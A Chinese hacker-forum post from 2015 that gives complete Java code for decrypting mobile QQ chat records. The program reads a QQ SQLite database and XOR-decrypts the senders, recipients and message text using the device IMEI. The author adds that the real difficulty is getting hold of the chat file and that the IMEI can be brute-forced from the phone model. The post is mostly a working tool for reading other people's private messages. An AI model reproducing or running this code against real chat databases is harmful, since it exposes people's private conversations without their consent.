搜索
查看: 505|回复: 0

java解密手机QQ聊天记录代码

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-8-16 12:43:17 | 显示全部楼层 |阅读模式
IEMI和QQ.db已打码处理
  1. import java.io.UnsupportedEncodingException;
  2. import java.sql.Connection;
  3. import java.sql.DriverManager;
  4. import java.sql.ResultSet;
  5. import java.sql.SQLException;
  6. import java.sql.Statement;
  7. import java.util.ArrayList;

  8. public class Test {
  9.   public static final String IMEI = "**************";
  10.   public static final String getTables = "SELECT tbl_name FROM sqlite_master WHERE type='table';";

  11.   public static void main(String[] args) {
  12.     ArrayList<String> tables = get_table();
  13.     for (String table : tables) {
  14.       if (table.startsWith("mr_friend_")) {
  15.         QQcrack(table);
  16.       }
  17.     }
  18.   }

  19.   public static Connection get_con(String db) {
  20.     Connection conn = null;
  21.     try {
  22.       Class.forName("org.sqlite.JDBC");
  23.       conn = DriverManager.getConnection("jdbc:sqlite:" + db);
  24.     } catch (SQLException | ClassNotFoundException e) {
  25.       // TODO Auto-generated catch block
  26.       e.printStackTrace();
  27.     }
  28.     return conn;

  29.   }

  30.   public static void QQcrack(String table) {
  31.     Connection conn = get_con("*********.db");

  32.     try {
  33.       Statement stat = conn.createStatement();
  34.       ResultSet rs = stat.executeQuery("SELECT * FROM " + table + ";");
  35.       while (rs.next()) {
  36.         System.out.println(jiemi(rs.getBytes("senderuin")) + "->"
  37.             + jiemi(rs.getBytes("frienduin")) + ":"
  38.             + jiemi(rs.getBytes("msgdata")));
  39.       }
  40.       rs.close();
  41.       conn.close();
  42.     } catch (Exception e) {
  43.       e.printStackTrace();
  44.     }

  45.   }

  46.   public static String jiemi(byte[] ms) throws UnsupportedEncodingException {
  47.     byte[] tmp = ms.clone();
  48.     for (int i = 0; i < ms.length; i++) {
  49.       tmp[i] = (byte) (ms[i] ^ (int) IMEI.charAt(i % 15));
  50.     }
  51.     return (new String(tmp, "utf-8"));
  52.   }

  53.   public static ArrayList<String> get_table() {
  54.     Connection conn = get_con("***********.db");
  55.     ArrayList<String> tables = new ArrayList<String>();
  56.     try {
  57.       Statement stat = conn.createStatement();
  58.       ResultSet rs = stat.executeQuery(getTables);
  59.       while (rs.next()) {
  60.         tables.add(rs.getString(1));
  61.       }
  62.       rs.close();
  63.       conn.close();
  64.     } catch (SQLException e) {
  65.       // TODO Auto-generated catch block
  66.       e.printStackTrace();
  67.     }

  68.     return tables;

  69.   }
  70. }
复制代码


自己下载SQLite3的jar包,如果android程序,这部分可以自行去掉。
关键解密语句只有一句
  1. tmp[i] = (byte) (ms[i] ^ (int) IMEI.charAt(i % 15));
复制代码

关键难点就是得到手机QQ的聊天记录文件,IMEI根据手机型号还可以暴力破解。
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表